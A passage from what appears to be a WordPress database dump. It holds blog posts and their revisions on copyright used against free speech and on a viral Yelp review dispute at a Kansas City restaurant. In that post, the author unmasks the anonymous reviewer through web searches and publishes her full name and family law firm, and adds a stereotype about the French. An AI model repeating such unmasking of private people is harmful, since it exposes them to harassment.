href=\"http://the1709blog.blogspot.co.uk/2015/03/dentist-claiming-to-own-copyright-in.html\" target=\"_blank\" rel=\"noreferrer noopener\">commented by Marie-Andree Weiss</a>&nbsp;for 1709 Copyright Law Blog.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is another demonstration of how a copyright claim can be used to deny freedom of speech. The interconnection between copyright and privacy protection, with freedom of speech is not always obvious at first to the general practitioners. It remains an important legal base increasingly invoked by celebrities. Some of the cases have involved the UK celebrity, Max Molsey, the case of Van Hanover, Naomi Campbell, The Church of Scientology, and few others curated on my&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/copyr-privacy-conflict-press/id1456918\" target=\"_blank\" rel=\"noreferrer noopener\">Pearltrees</a>&nbsp;(click on each box to access the relevant article).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let me know what other major case is missing from this collection. I keep my curations regularly updated so if you are interested by the subject, do revisit the link for updates. You an read more about my curations on \'<a href=\"http://www.linkedin.com/pulse/bigger-than-big-data-processed-information-gold-taubman-bassirian?trk=prof-post\" target=\"_blank\" rel=\"noreferrer noopener\">Bigger Than Big Data, Processed Information is Gold\'</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A different way of protecting ones reputation than what this&nbsp;<a href=\"http://www.linkedin.com/pulse/20141019172647-19096867-how-an-online-negative-comment-can-be-positively-exploited?trk=mp-reader-card\" target=\"_blank\" rel=\"noreferrer noopener\">restaurant manager did to turn a negative review on his favour.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.linkedin.com/pulse/20141019172647-19096867-how-an-online-negative-comment-can-be-positively-exploited?trk=mp-reader-card\" target=\"_blank\" rel=\"noreferrer noopener\">Read more:</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.linkedin.com/pulse/20141019172647-19096867-how-an-online-negative-comment-can-be-positively-exploited?trk=mp-reader-card\" target=\"_blank\" rel=\"noreferrer noopener\">Eric Goldman :&nbsp;</a><a href=\"http://www.forbes.com/sites/ericgoldman/2015/11/02/how-congress-can-protect-online-consumer-reviews/#266370ab2ce7\" target=\"_blank\" rel=\"noreferrer noopener\">How Congress Can Protect Online Consumer Reviews</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://blog.ericgoldman.org/archives/2016/08/hassell-v-bird.htm\" target=\"_blank\" rel=\"noreferrer noopener\">The Internet Rallies Against A Terrible Section 230 Ruling–Hassell v. Bird</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://papers.ssrn.com/sol3/papers.cfm?abstract_id=2367092\" target=\"_blank\" rel=\"noreferrer noopener\">Patients’ Online Reviews of Physicians</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a rel=\"noreferrer noopener\" href=\"http://www.fertilitybridge.com/blog/2016/3/3/legalconsiderationswhenrespondingtoonlinepatientreviews\" target=\"_blank\">Legal Considerations When Responding to Online Patient Reviews: An Interview with Eric Goldman</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://thenextweb.com/insider/2016/12/15/can-no-longer-sued-leaving-negative-reviews-online/?\">You can no longer be sued for leaving negative reviews online</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://mashable.com/2016/01/14/tripadvisor-review-response/?europe=true&amp;utm_cid=mash-com-fb-main-link#3lHOQJXJbgqn\">Restaurant owner brilliantly shuts down disgruntled TripAdvisor reviewer</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Published by</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.linkedin.com/in/taubmanbassirian/\">Status is onlineTara TAUBMAN-BASSIRIAN LLM </a>GDPR, Data Protection and IP consultant - Voted Privacy Hero of the YearPublished • </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a rel=\"noreferrer noopener\" target=\"_blank\" href=\"http://thenextweb.com/insider/2016/12/15/can-no-longer-sued-leaving-negative-reviews-online/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+TheNextWeb+%28The+Next+Web+All+Stories%29\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:embed {\"url\":\"http:\\/\\/mashable.com\\/2016\\/01\\/14\\/tripadvisor-review-response\\/?utm_cid=mash-com-fb-main-link#3lHOQJXJbgqn\"} -->\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttp://mashable.com/2016/01/14/tripadvisor-review-response/?utm_cid=mash-com-fb-main-link#3lHOQJXJbgqn\n</div></figure>\n<!-- /wp:embed -->','Copyright Claim to Deny Freedom of Speech','','inherit','closed','closed','','841-revision-v1','','','2020-05-02 13:45:42','2020-05-02 12:45:42','',841,'https://datarainbow.eu/2020/05/02/841-revision-v1/',0,'revision','',0),(844,5,'2020-05-02 13:49:38','2020-05-02 12:49:38','<!-- wp:paragraph -->\n<p>\"<a href=\"http://themetapicture.com/woman-leaves-bad-online-review/\" target=\"_blank\" rel=\"noreferrer noopener\"><em>Woman Leaves Bad Online Review, The Owner Finds Out And Responds</em></a>\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An angry customer, \'Sonal B.\' leaves a negative comment about a restaurant on Yelp. The offended manager replies publicly, and it all goes heatedly viral online. It\'s Sunday and with my Mediator\'s hat on and as a student learner of the online course on negotiation skills (Coursera Successful Negotiation Skills by University of Michigan), I thought I could dig the story a bit more.First, looking at the Yelp website, under Voltaire restaurant in KC, I don\'t seem to find the review. I searched for \'<em>Sonal B</em>\' KC, they are few, all blank profiles with no review!!Intrigued, I see the restaurant is at 1617 Genessee Street in KC, I searched for law firms nearby and they are few at the 1600, from employment law to dispute resolution ! I supposed Voltaire to be a French restaurant, in which case, I could easily imagine how they would be playing arrogance, if you know what I mean. Customer service and French don\'t really rhyme. Let\'s play Sonal B\'s advocate. First cultural clarification needed: Is this usual in the states that a restaurant would refuse to let customers take out their meal? I understand the manager\'s argument that the meal would not look nice out of the plate, however, is this not a client\'s decision? Nothing really goes against a risotto in box, does it?! Why on earth the waiter would not want to tell them which kind of stock they used for the risotto? Is this not a legitimate request? So, the customer could have few grants of complaint. I can accept that they were a bit lazy not just walking away to find another restaurant. After all, why should the restaurant serve them if they don\'t want to. Do they have an obligation to serve every customer? So, anyway, there is always two sides in each conflict. I bet the restaurant people could have been arrogant, they must not have liked the customer\'s arrogance, and no, no one likes you telling you have rights because you are a lawyer. However, not many online comments have taken the side of the customer.I wonder why the review is not on Yelp\'s website anymore.By the way, I am amazed on the way restaurants in the US can be \'diverse\', the name is French, but they serve, Italian, Vietnamese, even Persian kebab,.... !Digging up further, this time with my eCommerce and libel law expert hat. I noticed that the comment was made on the 1st of October responded in short time and gone viral since for being picked up by two sites Eater and Uproxx. It seems like the posts have been taken down despite Yelp saying they wouldn\'t (\'<em><strong>Your trust is our top concern,</strong> so businesses can\'t pay to alter or remove their reviews.</em>\'). You can still find <a rel=\"noreferrer noopener\" href=\"http://www.kansascity.com/living/liv-columns-blogs/chow-town/article2557634.html\" target=\"_blank\">reference to it</a> on the <a rel=\"noreferrer noopener\" href=\"http://www.yelp.com/topic/kansas-city-the-most-epic-yelp-response-ever?category=7\" target=\"_blank\">Yelp Shout-Outs</a> discussion page. So, from a marketing standpoint, the question is, should or should not a restaurant respond to negative reviews? If it does so, should it be in private or public? Think of the advertisement this case has created for the restaurant.<a rel=\"noreferrer noopener\" href=\"http://www.kansascity.com/living/liv-columns-blogs/chow-town/article2557634.html\" target=\"_blank\">This article</a> mentions another review left by this same Sonal B. Unfortunately, I don\'t seem to find it. Might be that....<a rel=\"noreferrer noopener\" target=\"_blank\">she has left Yelp</a>? From a quick look at the <a rel=\"noreferrer noopener\" href=\"http://www.facebook.com/UPROXX/posts/10152771736876337\" target=\"_blank\">comments</a> on Uproxx Facebook page, it appears that Sonal B has eventually closed her account, hope no one will guess the name of her lawyer husband.Thanks to an online connection in KC, I have been passed <a rel=\"noreferrer noopener\" target=\"_blank\">additional facts from the local press</a>. I am told that the review was taken down by the writer who had deactivated her accounts. \'She got slammed by the social media world for being an ass.\' I was told. This case is a great demonstration of why it worth monitoring your brand online. Just what big companies such as Nestle did not and paid the price (I am referring to the Palm oil attack against Nestlé by Greenpeace). I have to say that I often disagree with online marketers for only looking at the number of followers, the many clicks and not enough at the actual interest of readers for the subject. I can only say my message was broadcasted when I publish online. What tells me the actual impact of my message is if I had readers who \'liked\' or \'commented\' my piece. This is why I feel frustrated when my stats numbers tells me how many visitors I had on my blog if no one clicked \'like\' or posted a \'comment\'. By the way, please do comment or disagree with me if it\'s the case, I\'d love you to share your views. Coming back to this case, a simple response has not only stopped a customer from tarnishing a restaurant\'s reputation (because it could happen that more people would have taken the other party\'s side as I mentioned initially, there is always to sides on each story) even more, it has made the restaurant famous around the world and all that for the cost of......0 $. So, as a result, <a rel=\"noreferrer noopener\" target=\"_blank\">many potential clients</a> are now curious to know where this Voltaire is and would want to travel to KC just to try it. Eventually, with a little deeper digging, I was able to find<a rel=\"noreferrer noopener\" href=\"http://www.meetup.com/KCRoundtable/members/64292342/\" target=\"_blank\"> the author of the comment</a>. She wrote in another site : \"<em>Hi! My name is Sonal Keenan Bhatia. My husband E.E. and I own a law firm which largely represents labor unions and plaintiffs. We are interested in legal technology solution-building and have some ideas we\'d like to create with the right partner..</em>.\" And this is where I take my Privacy hat to point out how what is supposedly \'anonymous\' and parse is curated by Google for all the pieces of the puzzle to be assembled to reveal the full picture. Finding the real identity of the author of the comment was a simple matter of a quick Google search. On this aspect, I can only refer you to the expert knowledge of Daniel Solove and invite you to watch his videos on YouTube to see examples of how a reputation and a persona can be destroyed online. See also <a rel=\"noreferrer noopener\" href=\"http://www.facebook.com/viktorms\" target=\"_blank\">Viktor Mayer-Schönberger</a>, author of \'<a rel=\"noreferrer noopener\" href=\"http://www.google.co.uk/url?url=http://www.amazon.co.uk/Delete-The-Virtue-Forgetting-Digital/dp/0691150362&amp;rct=j&amp;q=&amp;esrc=s&amp;sa=U&amp;ei=_OlDVMXHDOOE7gaj8YD4Cw&amp;ved=0CBsQFjAB&amp;sig2=7F6STfWV1YN93HbaqCTTaA&amp;usg=AFQjCNFtK5g7846CcXD6mpdNEoIpLMVBHA\" target=\"_blank\"><strong>Delete</strong>: The Virtue of Forgetting in the Digital Age</a>\' who has also great Youtube videos to watch if you don\'t want to read his book. This last point is connected to the current debate on the right to be forgotten, the ECJ decision ordering Google to delete link to website of defamation. One tricky balance to find between privacy, the right to be forgotten and the newsworthy right to be remembered as recently proclaimed by the BBC. A latent tension between privacy and freedom of speech. A very interesting Sunday, with this rapid analysis I wanted to share.I so love what I do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.tripadvisor.co.uk/Hotel_Review-g1453682-d622439-Reviews-La_Chancellerie-Huismes_Loire_Valley_Centre_Val_de_Loire.html\" target=\"_blank\" rel=\"noreferrer noopener\">in contrast: How a manger\'s agressivity can worsen the negative review.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Update December 2016 : <a rel=\"noreferrer noopener\" href=\"http://thenextweb.com/insider/2016/12/15/can-no-longer-sued-leaving-negative-reviews-online/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+TheNextWeb+%28The+Next+Web+All+Stories%29\" target=\"_blank\">You can no longer be sued for leaving negative reviews online.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks to Mark Lemley fro painting us to this other battle <a href=\"http://www.boston.com/food-dining/restaurants/2014/12/09/harvard-business-school-professor-goes-war-over-worth-chinese-food/KfMaEhab6uUY1COCnTbrXP/story.html﻿\">case between a Harvard Business professor and a Chinese restaurant. </a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is very interesting. Thanks for Fabrice Epelboin for sharing the<a href=\"http://www.leblogducommunicant2-0.com/2014/11/09/clash-du-president-de-huawei-contre-elise-lucet-ce-que-tout-dirigeant-devrait-retenir/﻿\"> link</a>. I recently wrote a piece on LinkedIn Pulse concerning the positive reaction of a manager in Atlanta to turn a customers negative online review to the advantage of his restaurant.  Here is what Huawei missed. A French TV reporter tried to interview him about the use of young children in a Chinese factory where they make Huawei\'s Smartphone screens. Not only he refused to respond and ignored the notorious journalist, he then went claiming he\'ll ask all his business network CEOs to refuse to give her any interview. Oh dear Sir, you had it all wrong and will have to face the anger of social media. His Twitter excuse won\'t do much I am afraid. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>\'Le Tronc d\'Arbre\', Photo by Tara Taubman-Bassirian - Licence CC</em></p>\n<!-- /wp:paragraph -->','How an Online Negative Review Can Be Positively Exploited','An angry customer leaves a negative comment about a restaurant on Yelp. The offended manager replies publicly, and it all goes heatedly viral online','publish','closed','closed','','how-an-online-negative-review-can-be-positively-exploited','','','2020-05-02 13:53:34','2020-05-02 12:53:34','',0,'http://datarainbow.eu/?p=844',0,'post','',0),(845,5,'2020-05-02 13:49:38','2020-05-02 12:49:38','<!-- wp:paragraph -->\n<p>\"<a href=\"http://themetapicture.com/woman-leaves-bad-online-review/\" target=\"_blank\" rel=\"noreferrer noopener\"><em>Woman Leaves Bad Online Review, The Owner Finds Out And Responds</em></a>\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An angry customer, \'Sonal B.\' leaves a negative comment about a restaurant on Yelp. The offended manager replies publicly, and it all goes heatedly viral online. It\'s Sunday and with my Mediator\'s hat on and as a student learner of the online course on negotiation skills (Coursera Succesfull Negotiation Skills by University of Michigan), I thought I could dig the story a bit more.First, looking at the Yelp website, under Voltaire restaurant in KC, I don\'t seem to find the review. I searched for \'<em>Sonal B</em>\' KC, they are few, all blank profiles with no review!!Intrigued, I see the restaurant is at 1617 Genessee Street in KC, I searched for law firms nearby and they are few at the 1600, from employment law to dispute resolution ! I supposed Voltaire to be a French restaurant, in which case, I could easily imagine how they would be playing arrogance, if you know what I mean. Customer service and French don\'t really rhyme. Let\'s play Sonal B\'s advocate. First cultural clarification needed: Is this usual in the states that a restaurant would refuse to let customers take out their meal? I understand the manager\'s argument that the meal would not look nice out of the plate, however, is this not a client\'s decision? Nothing really goes against a risotto in box, does it?! Why on earth the waiter would not want to tell them which kind of stock they used for the risotto? Is this not a legitimate request? So, the customer could have few grants of complaint. I can accept that they were a bit lazy not just walking away to find another restaurant. After all, why should the restaurant serve them if they don\'t want to. Do they have an obligation to serve every customer? So, anyway, there is always two sides in each conflict. I bet the restaurant people could have been arrogant, they must not have liked the customer\'s arrogance, and no, no one likes you telling you have rights because you are a lawyer. However, not many online comments have taken the side of the customer.I wonder why the review is not on Yelp\'s website anymore.By the way, I am amazed on the way restaurants in the US can be \'diverse\', the name is French, but they serve, Italian, Vietnamese, even Persian kebab,.... !Digging up further, this time with my eCommerce and libel law expert hat. I noticed that the comment was made on the 1st of October responded in short time and gone viral since for being picked up by two sites Eater and Uproxx. It seems like the posts have been taken down despite Yelp saying they wouldn\'t (\'<em><strong>Your trust is our top concern,</strong>&nbsp;so businesses can\'t pay to alter or remove their reviews.</em>\'). You can still find&nbsp;<a href=\"http://www.kansascity.com/living/liv-columns-blogs/chow-town/article2557634.html\" target=\"_blank\" rel=\"noreferrer noopener\">reference to it</a>&nbsp;on the&nbsp;<a href=\"http://www.yelp.com/topic/kansas-city-the-most-epic-yelp-response-ever?category=7\" target=\"_blank\" rel=\"noreferrer noopener\">Yelp Shout-Outs</a>&nbsp;discussion page. So, from a marketing standpoint, the question is, should or should not a restaurant respond to negative reviews? If it does so, should it be in private or public? Think of the advertisement this case has created for the restaurant.<a href=\"http://www.kansascity.com/living/liv-columns-blogs/chow-town/article2557634.html\" target=\"_blank\" rel=\"noreferrer noopener\">This article</a>&nbsp;mentions another review left by this same Sonal B. Unfortunately, I don\'t seem to find it. Might be that....<a target=\"_blank\" rel=\"noreferrer noopener\">she has left Yelp</a>? From a quick look at the&nbsp;<a href=\"http://www.facebook.com/UPROXX/posts/10152771736876337\" target=\"_blank\" rel=\"noreferrer noopener\">comments</a>&nbsp;on Uproxx Facebook page, it appears that Sonal B has eventually closed her account, hope no one will guess the name of her lawyer husband.Thanks to an online connection in KC, I have been passed&nbsp;<a target=\"_blank\" rel=\"noreferrer noopener\">additional facts from the local press</a>. I am told that the review was taken down by the writer who had deactivated her accounts. \'She got slammed by the social media world for being an ass.\' I was told. This case is a great demonstration of why it worth monitoring your brand online. Just what big companies such as Nestle did not and paid the price (I am referring to the Palm oil attack against Nestlé by Greenpeace). I have to say that I often disagree with online marketers for only looking at the number of followers, the many clicks and not enough at the actual interest of readers for the subject. I can only say my message was broadcasted when I publish online. What tells me the actual impact of my message is if I had readers who \'liked\' or \'commented\' my piece. This is why I feel frustrated when my stats numbers tells me how many visitors I had on my blog if no one clicked \'like\' or posted a \'comment\'. By the way, please do comment or disagree with me if it\'s the case, I\'d love you to share your views. Coming back to this case, a simple response has not only stopped a customer from tarnishing a restaurant\'s reputation (because it could happen that more people would have taken the other party\'s side as I mentioned initially, there is always to sides on each story) even more, it has made the restaurant famous around the world and all that for the cost of......0 $. So, as a result,&nbsp;<a target=\"_blank\" rel=\"noreferrer noopener\">many potential clients</a>&nbsp;are now curious to know where this Voltaire is and would want to travel to KC just to try it. Eventually, with a little deeper digging, I was able to find<a href=\"http://www.meetup.com/KCRoundtable/members/64292342/\" target=\"_blank\" rel=\"noreferrer noopener\">&nbsp;the author of the comment</a>. She wrote in another site : \"<em>Hi! My name is Sonal Keenan Bhatia. My husband E.E. and I own a law firm which largely represents labor unions and plaintiffs. We are interested in legal technology solution-building and have some ideas we\'d like to create with the right partner..</em>.\" And this is where I take my Privacy hat to point out how what is supposedly \'anonymous\' and parse is curated by Google for all the pieces of the puzzle to be assembled to reveal the full picture. Finding the real identity of the author of the comment was a simple matter of a quick Google search. On this aspect, I can only refer you to the expert knowledge of Daniel Solove and invite you to watch his videos on YouTube to see examples of how a reputation and a persona can be destroyed online. See also&nbsp;<a href=\"http://www.facebook.com/viktorms\" target=\"_blank\" rel=\"noreferrer noopener\">Viktor Mayer-Schönberger</a>, author of \'<a href=\"http://www.google.co.uk/url?url=http://www.amazon.co.uk/Delete-The-Virtue-Forgetting-Digital/dp/0691150362&amp;rct=j&amp;q=&amp;esrc=s&amp;sa=U&amp;ei=_OlDVMXHDOOE7gaj8YD4Cw&amp;ved=0CBsQFjAB&amp;sig2=7F6STfWV1YN93HbaqCTTaA&amp;usg=AFQjCNFtK5g7846CcXD6mpdNEoIpLMVBHA\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Delete</strong>: The Virtue of Forgetting in the Digital Age</a>\' who has also great Youtube videos to watch if you don\'t want to read his book. This last point is connected to the current debate on the right to be forgotten, the ECJ decision ordering Google to delete link to website of defamation. One tricky balance to find between privacy, the right to be forgotten and the newsworthy right to be remembered as recently proclaimed by the BBC. A latent tension between privacy and freedom of speech. A very interesting Sunday, with this rapid analysis I wanted to share.I so love what I do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.tripadvisor.co.uk/Hotel_Review-g1453682-d622439-Reviews-La_Chancellerie-Huismes_Loire_Valley_Centre_Val_de_Loire.html\" target=\"_blank\" rel=\"noreferrer noopener\">in contrast: How a manger\'s agressivity can worsen the negative review.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Update December 2016 : <a rel=\"noreferrer noopener\" href=\"http://thenextweb.com/insider/2016/12/15/can-no-longer-sued-leaving-negative-reviews-online/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+TheNextWeb+%28The+Next+Web+All+Stories%29\" target=\"_blank\">You can no longer be sued for leaving negative reviews online.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks to Mark Lemley fro painting us to this other battle <a href=\"http://www.boston.com/food-dining/restaurants/2014/12/09/harvard-business-school-professor-goes-war-over-worth-chinese-food/KfMaEhab6uUY1COCnTbrXP/story.html﻿\">case between a Harvard Business professor and a Chinese restaurant. </a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is very interesting. Thanks for Fabrice Epelboin for sharing the<a href=\"http://www.leblogducommunicant2-0.com/2014/11/09/clash-du-president-de-huawei-contre-elise-lucet-ce-que-tout-dirigeant-devrait-retenir/﻿\"> link</a>. I recently wrote a piece on LinkedIn Pulse concerning the positive reaction of a manager in Atlanta to turn a customers negative online review to the advantage of his restaurant.  Here is what Huawei missed. A French TV reporter tried to interview him about the use of young children in a Chinese factory where they make Huawei\'s Smartphone screens. Not only he refused to respond and ignored the notorious journalist, he then went claiming he\'ll ask all his business network CEOs to refuse to give her any interview. Oh dear Sir, you had it all wrong and will have to face the anger of social media. His Twitter excuse won\'t do much I am afraid. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>\'Le Tronc d\'Arbre\', Photo by Tara Taubman-Bassirian - Licence CC</em></p>\n<!-- /wp:paragraph -->','How an Online Negative Review Can Be Positively Exploited','','inherit','closed','closed','','844-revision-v1','','','2020-05-02 13:49:38','2020-05-02 12:49:38','',844,'https://datarainbow.eu/2020/05/02/844-revision-v1/',0,'revision','',0),(847,5,'2020-05-02 13:51:54','2020-05-02 12:51:54','<!-- wp:paragraph -->\n<p>\"<a href=\"http://themetapicture.com/woman-leaves-bad-online-review/\" target=\"_blank\" rel=\"noreferrer noopener\"><em>Woman Leaves Bad Online Review, The Owner Finds Out And Responds</em></a>\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An angry customer, \'Sonal B.\' leaves a negative comment about a restaurant on Yelp. The offended manager replies publicly, and it all goes heatedly viral online. It\'s Sunday and with my Mediator\'s hat on and as a student learner of the online course on negotiation skills (Coursera Successful Negotiation Skills by University of Michigan), I thought I could dig the story a bit more.First, looking at the Yelp website, under Voltaire restaurant in KC, I don\'t seem to find the review. I searched for \'<em>Sonal B</em>\' KC, they are few, all blank profiles with no review!!Intrigued, I see the restaurant is at 1617 Genessee Street in KC, I searched for law firms nearby and they are few at the 1600, from employment law to dispute resolution ! I supposed Voltaire to be a French restaurant, in which case, I could easily imagine how they would be playing arrogance, if you know what I mean. Customer service and French don\'t really rhyme. Let\'s play Sonal B\'s advocate. First cultural clarification needed: Is this usual in the states that a restaurant would refuse to let customers take out their meal? I understand the manager\'s argument that the meal would not look nice out of the plate, however, is this not a client\'s decision? Nothing really goes against a risotto in box, does it?! Why on earth the waiter would not want to tell them which kind of stock they used for the risotto? Is this not a legitimate request? So, the customer could have few grants of complaint. I can accept that they were a bit lazy not just walking away to find another restaurant. After all, why should the restaurant serve them if they don\'t want to. Do they have an obligation to serve every customer? So, anyway, there is always two sides in each conflict. I bet the restaurant people could have been arrogant, they must not have liked the customer\'s arrogance, and no, no one likes you telling you have rights because you are a lawyer. However, not many online comments have taken the side of the customer.I wonder why the review is not on Yelp\'s website anymore.By the way, I am amazed on the way restaurants in the US can be \'diverse\', the name is French, but they serve, Italian, Vietnamese, even Persian kebab,.... !Digging up further, this time with my eCommerce and libel law expert hat. I noticed that the comment was made on the 1st of October responded in short time and gone viral since for being picked up by two sites Eater and Uproxx. It seems like the posts have been taken down despite Yelp saying they wouldn\'t (\'<em><strong>Your trust is our top concern,</strong> so businesses can\'t pay to alter or remove their reviews.</em>\'). You can still find <a rel=\"noreferrer noopener\" href=\"http://www.kansascity.com/living/liv-columns-blogs/chow-town/article2557634.html\" target=\"_blank\">reference to it</a> on the <a rel=\"noreferrer noopener\" href=\"http://www.yelp.com/topic/kansas-city-the-most-epic-yelp-response-ever?category=7\" target=\"_blank\">Yelp Shout-Outs</a> discussion page. So, from a marketing standpoint, the question is, should or should not a restaurant respond to negative reviews? If it does so, should it be in private or public? Think of the advertisement this case has created for the restaurant.<a rel=\"noreferrer noopener\" href=\"http://www.kansascity.com/living/liv-columns-blogs/chow-town/article2557634.html\" target=\"_blank\">This article</a> mentions another review left by this same Sonal B. Unfortunately, I don\'t seem to find it. Might be that....<a rel=\"noreferrer noopener\" target=\"_blank\">she has left Yelp</a>? From a quick look at the <a rel=\"noreferrer noopener\" href=\"http://www.facebook.com/UPROXX/posts/10152771736876337\" target=\"_blank\">comments</a> on Uproxx Facebook page, it appears that Sonal B has eventually closed her account, hope no one will guess the name of her lawyer husband.Thanks to an online connection in KC, I have been passed <a rel=\"noreferrer noopener\" target=\"_blank\">additional facts from the local press</a>. I am told that the review was taken down by the writer who had deactivated her accounts. \'She got slammed by the social media world for being an ass.\' I was told. This case is a great demonstration of why it worth monitoring your brand online. Just what big companies such as Nestle did not and paid the price (I am referring to the Palm oil attack against Nestlé by Greenpeace). I have to say that I often disagree with online marketers for only looking at the number of followers, the many clicks and not enough at the actual interest of readers for the subject. I can only say my message was broadcasted when I publish online. What tells me the actual impact of my message is if I had readers who \'liked\' or \'commented\' my piece. This is why I feel frustrated when my stats numbers tells me how many visitors I had on my blog if no one clicked \'like\' or posted a \'comment\'. By the way, please do comment or disagree with me if it\'s the case, I\'d love you to share your views. Coming back to this case, a simple response has not only stopped a customer from tarnishing a restaurant\'s reputation (because it could happen that more people would have taken the other party\'s side as I mentioned initially, there is always to sides on each story) even more, it has made the restaurant famous around the world and all that for the cost of......0 $. So, as a result, <a rel=\"noreferrer noopener\" target=\"_blank\">many potential clients</a> are now curious to know where this Voltaire is and would want to travel to KC just to try it. Eventually, with a little deeper digging, I was able to find<a rel=\"noreferrer noopener\" href=\"http://www.meetup.com/KCRoundtable/members/64292342/\" target=\"_blank\"> the author of the comment</a>. She wrote in another site : \"<em>Hi! My name is Sonal Keenan Bhatia. My husband E.E. and I own a law firm which largely represents labor unions and plaintiffs. We are interested in legal technology solution-building and have some ideas we\'d like to create with the right partner..</em>.\" And this is where I take my Privacy hat to point out how what is supposedly \'anonymous\' and parse is curated by Google for all the pieces of the puzzle to be assembled to reveal the full picture. Finding the real identity of the author of the comment was a simple matter of a quick Google search. On this aspect, I can only refer you to the expert knowledge of Daniel Solove and invite you to watch his videos on YouTube to see examples of how a reputation and a persona can be destroyed online. See also <a rel=\"noreferrer noopener\" href=\"http://www.facebook.com/viktorms\" target=\"_blank\">Viktor Mayer-Schönberger</a>, author of \'<a rel=\"noreferrer noopener\" href=\"http://www.google.co.uk/url?url=http://www.amazon.co.uk/Delete-The-Virtue-Forgetting-Digital/dp/0691150362&amp;rct=j&amp;q=&amp;esrc=s&amp;sa=U&amp;ei=_OlDVMXHDOOE7gaj8YD4Cw&amp;ved=0CBsQFjAB&amp;sig2=7F6STfWV1YN93HbaqCTTaA&amp;usg=AFQjCNFtK5g7846CcXD6mpdNEoIpLMVBHA\" target=\"_blank\"><strong>Delete</strong>: The Virtue of Forgetting in the Digital Age</a>\' who has also great Youtube videos to watch if you don\'t want to read his book. This last point is connected to the current debate on the right to be forgotten, the ECJ decision ordering Google to delete link to website of defamation. One tricky balance to find between privacy, the right to be forgotten and the newsworthy right to be remembered as recently proclaimed by the BBC. A latent tension between privacy and freedom of speech. A very interesting Sunday, with this rapid analysis I wanted to share.I so love what I do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.tripadvisor.co.uk/Hotel_Review-g1453682-d622439-Reviews-La_Chancellerie-Huismes_Loire_Valley_Centre_Val_de_Loire.html\" target=\"_blank\" rel=\"noreferrer noopener\">in contrast: How a manger\'s agressivity can worsen the negative review.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Update December 2016 : <a rel=\"noreferrer noopener\" href=\"http://thenextweb.com/insider/2016/12/15/can-no-longer-sued-leaving-negative-reviews-online/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+TheNextWeb+%28The+Next+Web+All+Stories%29\" target=\"_blank\">You can no longer be sued for leaving negative reviews online.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks to Mark Lemley fro painting us to this other battle <a href=\"http://www.boston.com/food-dining/restaurants/2014/12/09/harvard-business-school-professor-goes-war-over-worth-chinese-food/KfMaEhab6uUY1COCnTbrXP/story.html﻿\">case between a Harvard Business professor and a Chinese restaurant. </a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is very interesting. Thanks for Fabrice Epelboin for sharing the<a href=\"http://www.leblogducommunicant2-0.com/2014/11/09/clash-du-president-de-huawei-contre-elise-lucet-ce-que-tout-dirigeant-devrait-retenir/﻿\"> link</a>. I recently wrote a piece on LinkedIn Pulse concerning the positive reaction of a manager in Atlanta to turn a customers negative online review to the advantage of his restaurant.  Here is what Huawei missed. A French TV reporter tried to interview him about the use of young children in a Chinese factory where they make Huawei\'s Smartphone screens. Not only he refused to respond and ignored the notorious journalist, he then went claiming he\'ll ask all his business network CEOs to refuse to give her any interview. Oh dear Sir, you had it all wrong and will have to face the anger of social media. His Twitter excuse won\'t do much I am afraid. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>\'Le Tronc d\'Arbre\', Photo by Tara Taubman-Bassirian - Licence CC</em></p>\n<!-- /wp:paragraph -->','How an Online Negative Review Can Be Positively Exploited','An angry customer leaves a negative comment about a restaurant on 